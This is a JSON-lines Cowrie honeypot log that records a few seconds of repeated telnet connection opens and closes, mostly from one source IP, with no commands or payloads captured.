{"eventid":"cowrie.session.closed","duration":30.31521201133728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.066022Z","src_ip":"135.148.33.217","session":"eb43251b47a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02644181251526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.087678Z","src_ip":"64.235.40.29","session":"ac0baf06ec46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50706,"dst_ip":"10.17.0.5","dst_port":23,"session":"5544a48b08f6","protocol":"telnet","message":"New connection: 64.235.40.29:50706 (10.17.0.5:23) [session: 5544a48b08f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.157480Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50716,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d646f708328","protocol":"telnet","message":"New connection: 64.235.40.29:50716 (10.17.0.5:23) [session: 9d646f708328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.218586Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50758,"dst_ip":"10.17.0.5","dst_port":23,"session":"41e9b8e5c909","protocol":"telnet","message":"New connection: 64.235.40.29:50758 (10.17.0.5:23) [session: 41e9b8e5c909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.321733Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50784,"dst_ip":"10.17.0.5","dst_port":23,"session":"4288fa9ed2a7","protocol":"telnet","message":"New connection: 64.235.40.29:50784 (10.17.0.5:23) [session: 4288fa9ed2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.461092Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50816,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3b643db4984","protocol":"telnet","message":"New connection: 64.235.40.29:50816 (10.17.0.5:23) [session: d3b643db4984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.634687Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8bf6361da9","protocol":"telnet","message":"New connection: 64.235.40.29:50664 (10.17.0.5:23) [session: 7d8bf6361da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.719488Z"}
{"eventid":"cowrie.session.closed","duration":31.207634925842285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:04.757495Z","src_ip":"64.235.40.29","session":"888a1c8752f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853635549545288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.041149Z","src_ip":"64.235.40.29","session":"41f55765f6ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51512,"dst_ip":"10.17.0.5","dst_port":23,"session":"4503d84651a9","protocol":"telnet","message":"New connection: 64.235.40.29:51512 (10.17.0.5:23) [session: 4503d84651a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.113081Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd15f03ac62e","protocol":"telnet","message":"New connection: 160.250.4.73:50658 (10.17.0.5:23) [session: dd15f03ac62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.148334Z"}
{"eventid":"cowrie.session.closed","duration":31.064109086990356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.203906Z","src_ip":"64.235.40.29","session":"14bbc9821f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882763385772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.309505Z","src_ip":"64.235.40.29","session":"00238de8ed3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c871339044d","protocol":"telnet","message":"New connection: 64.235.40.29:50748 (10.17.0.5:23) [session: 8c871339044d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.315302Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef24d9bf2bb6","protocol":"telnet","message":"New connection: 64.235.40.29:51554 (10.17.0.5:23) [session: ef24d9bf2bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.474702Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50686,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a447986c0d4","protocol":"telnet","message":"New connection: 160.250.4.73:50686 (10.17.0.5:23) [session: 5a447986c0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.503393Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50824,"dst_ip":"10.17.0.5","dst_port":23,"session":"91dafc63fd65","protocol":"telnet","message":"New connection: 64.235.40.29:50824 (10.17.0.5:23) [session: 91dafc63fd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.727487Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50702,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b59bcaff7a8","protocol":"telnet","message":"New connection: 160.250.4.73:50702 (10.17.0.5:23) [session: 3b59bcaff7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.822650Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6842604f746f","protocol":"telnet","message":"New connection: 160.250.4.73:50714 (10.17.0.5:23) [session: 6842604f746f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:05.941909Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51586,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1a1f2934fa","protocol":"telnet","message":"New connection: 64.235.40.29:51586 (10.17.0.5:23) [session: 4e1a1f2934fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.013408Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51598,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ee7c0a590d","protocol":"telnet","message":"New connection: 64.235.40.29:51598 (10.17.0.5:23) [session: 44ee7c0a590d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.112118Z"}
{"eventid":"cowrie.session.closed","duration":30.92518424987793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.121103Z","src_ip":"64.235.40.29","session":"5167509ed068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684247493743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.137620Z","src_ip":"64.235.40.29","session":"6408be724016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93216156959534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.211069Z","src_ip":"64.235.40.29","session":"b3c7f58abd61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51644,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fddd8448284","protocol":"telnet","message":"New connection: 64.235.40.29:51644 (10.17.0.5:23) [session: 7fddd8448284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.268470Z"}
{"eventid":"cowrie.session.closed","duration":30.60558819770813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.506871Z","src_ip":"64.235.40.29","session":"027b8bf9020e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51710,"dst_ip":"10.17.0.5","dst_port":23,"session":"9377feaa261b","protocol":"telnet","message":"New connection: 64.235.40.29:51710 (10.17.0.5:23) [session: 9377feaa261b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.529419Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":60856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f02a6cd23624","protocol":"telnet","message":"New connection: 195.154.29.177:60856 (10.17.0.5:23) [session: f02a6cd23624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.620953Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51720,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df4098704d8","protocol":"telnet","message":"New connection: 64.235.40.29:51720 (10.17.0.5:23) [session: 4df4098704d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.754846Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51724,"dst_ip":"10.17.0.5","dst_port":23,"session":"597b2fcfe9d8","protocol":"telnet","message":"New connection: 64.235.40.29:51724 (10.17.0.5:23) [session: 597b2fcfe9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:06.856335Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51736,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb7b977c72d","protocol":"telnet","message":"New connection: 64.235.40.29:51736 (10.17.0.5:23) [session: 3eb7b977c72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.016035Z"}
{"eventid":"cowrie.session.closed","duration":30.980108737945557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.020431Z","src_ip":"135.148.33.217","session":"ec921f364a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.759916067123413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.031019Z","src_ip":"195.154.29.177","session":"427ae3f3612c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23981761932373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.047206Z","src_ip":"64.235.40.29","session":"d1dd0b032137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33799910545349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.053990Z","src_ip":"64.235.40.29","session":"dc55362e6f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50732,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e0e5f1da4b","protocol":"telnet","message":"New connection: 160.250.4.73:50732 (10.17.0.5:23) [session: a2e0e5f1da4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.196065Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51740,"dst_ip":"10.17.0.5","dst_port":23,"session":"d886451bad6d","protocol":"telnet","message":"New connection: 64.235.40.29:51740 (10.17.0.5:23) [session: d886451bad6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.236084Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"1940b7e72f1f","protocol":"telnet","message":"New connection: 64.235.40.29:51632 (10.17.0.5:23) [session: 1940b7e72f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.262957Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51756,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4548e124337","protocol":"telnet","message":"New connection: 64.235.40.29:51756 (10.17.0.5:23) [session: a4548e124337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.293806Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51664,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6da6897f339","protocol":"telnet","message":"New connection: 64.235.40.29:51664 (10.17.0.5:23) [session: d6da6897f339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.343357Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51762,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc052b6a47b","protocol":"telnet","message":"New connection: 64.235.40.29:51762 (10.17.0.5:23) [session: 5fc052b6a47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.410866Z"}
{"eventid":"cowrie.session.closed","duration":31.02492046356201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.529690Z","src_ip":"64.235.40.29","session":"462fc15c6c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.582847833633423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.566062Z","src_ip":"64.235.40.29","session":"1eb8af4ccba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51792,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a7b68e974b","protocol":"telnet","message":"New connection: 64.235.40.29:51792 (10.17.0.5:23) [session: 87a7b68e974b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:07.889166Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7174a47dfd8","protocol":"telnet","message":"New connection: 64.235.40.29:51822 (10.17.0.5:23) [session: b7174a47dfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.040973Z"}
{"eventid":"cowrie.session.closed","duration":30.561171293258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.067225Z","src_ip":"212.129.6.158","session":"3eaf968c9efc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72245740890503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.071100Z","src_ip":"212.129.6.158","session":"1fc7915b9b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51830,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d5b9775a8a","protocol":"telnet","message":"New connection: 64.235.40.29:51830 (10.17.0.5:23) [session: a2d5b9775a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.084975Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":51096,"dst_ip":"10.17.0.5","dst_port":23,"session":"a11a1675eab9","protocol":"telnet","message":"New connection: 135.148.33.217:51096 (10.17.0.5:23) [session: a11a1675eab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.158277Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51834,"dst_ip":"10.17.0.5","dst_port":23,"session":"253ee02bd732","protocol":"telnet","message":"New connection: 64.235.40.29:51834 (10.17.0.5:23) [session: 253ee02bd732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.170685Z"}
{"eventid":"cowrie.session.closed","duration":31.06158757209778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.216632Z","src_ip":"64.235.40.29","session":"f58b9d36e1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"19df8038be09","protocol":"telnet","message":"New connection: 64.235.40.29:51880 (10.17.0.5:23) [session: 19df8038be09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.303311Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1de94987369","protocol":"telnet","message":"New connection: 64.235.40.29:51884 (10.17.0.5:23) [session: d1de94987369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.308410Z"}
{"eventid":"cowrie.session.closed","duration":31.29917335510254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.575485Z","src_ip":"64.235.40.29","session":"2fb45c34515c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51900,"dst_ip":"10.17.0.5","dst_port":23,"session":"29197c5a2765","protocol":"telnet","message":"New connection: 64.235.40.29:51900 (10.17.0.5:23) [session: 29197c5a2765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.646961Z"}
{"eventid":"cowrie.session.closed","duration":30.837053298950195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:08.784344Z","src_ip":"64.235.40.29","session":"cd2ebc4767e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51978,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c24b73e1f32","protocol":"telnet","message":"New connection: 64.235.40.29:51978 (10.17.0.5:23) [session: 2c24b73e1f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.001143Z"}
{"eventid":"cowrie.session.closed","duration":30.08786392211914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.042825Z","src_ip":"64.235.40.29","session":"c31e49fa4e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906609296798706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.047005Z","src_ip":"64.235.40.29","session":"3dbda2518609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82669711112976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.081766Z","src_ip":"64.235.40.29","session":"3ce6780febec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52006,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed293907ec1","protocol":"telnet","message":"New connection: 64.235.40.29:52006 (10.17.0.5:23) [session: 1ed293907ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.138217Z"}
{"eventid":"cowrie.session.closed","duration":30.876848459243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.148124Z","src_ip":"64.235.40.29","session":"21f565290230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12493586540222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.173706Z","src_ip":"64.235.40.29","session":"f433154e00a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c5ecbf33e19","protocol":"telnet","message":"New connection: 64.235.40.29:52038 (10.17.0.5:23) [session: 3c5ecbf33e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.228384Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"259f966099cd","protocol":"telnet","message":"New connection: 64.235.40.29:52046 (10.17.0.5:23) [session: 259f966099cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.305691Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52082,"dst_ip":"10.17.0.5","dst_port":23,"session":"37846bd0b3fc","protocol":"telnet","message":"New connection: 64.235.40.29:52082 (10.17.0.5:23) [session: 37846bd0b3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.406423Z"}
{"eventid":"cowrie.session.closed","duration":31.23088812828064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.423366Z","src_ip":"135.148.33.217","session":"4bc7d7965e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52096,"dst_ip":"10.17.0.5","dst_port":23,"session":"752ebeff6528","protocol":"telnet","message":"New connection: 64.235.40.29:52096 (10.17.0.5:23) [session: 752ebeff6528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.444779Z"}
{"eventid":"cowrie.session.closed","duration":30.82010269165039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.449836Z","src_ip":"64.235.40.29","session":"2edae976743a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52108,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ddb446026ed","protocol":"telnet","message":"New connection: 64.235.40.29:52108 (10.17.0.5:23) [session: 6ddb446026ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.488129Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52156,"dst_ip":"10.17.0.5","dst_port":23,"session":"757e8419c430","protocol":"telnet","message":"New connection: 64.235.40.29:52156 (10.17.0.5:23) [session: 757e8419c430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.791854Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52164,"dst_ip":"10.17.0.5","dst_port":23,"session":"51223925e7ff","protocol":"telnet","message":"New connection: 64.235.40.29:52164 (10.17.0.5:23) [session: 51223925e7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.834115Z"}
{"eventid":"cowrie.session.closed","duration":31.819175481796265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.896668Z","src_ip":"64.235.40.29","session":"c27e1ccd7653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52182,"dst_ip":"10.17.0.5","dst_port":23,"session":"1888eae79b13","protocol":"telnet","message":"New connection: 64.235.40.29:52182 (10.17.0.5:23) [session: 1888eae79b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:09.963126Z"}
{"eventid":"cowrie.session.closed","duration":30.85891103744507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.061730Z","src_ip":"212.129.6.158","session":"72e5e9cf9713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690098762512207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.066518Z","src_ip":"64.235.40.29","session":"073aede7c011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52192,"dst_ip":"10.17.0.5","dst_port":23,"session":"d059f9c5162a","protocol":"telnet","message":"New connection: 64.235.40.29:52192 (10.17.0.5:23) [session: d059f9c5162a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.077733Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52202,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1c462daa6f","protocol":"telnet","message":"New connection: 64.235.40.29:52202 (10.17.0.5:23) [session: cd1c462daa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.092775Z"}
{"eventid":"cowrie.session.closed","duration":30.717885494232178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.139359Z","src_ip":"64.235.40.29","session":"e32ce27c2fdc","protocol":"telnet"}
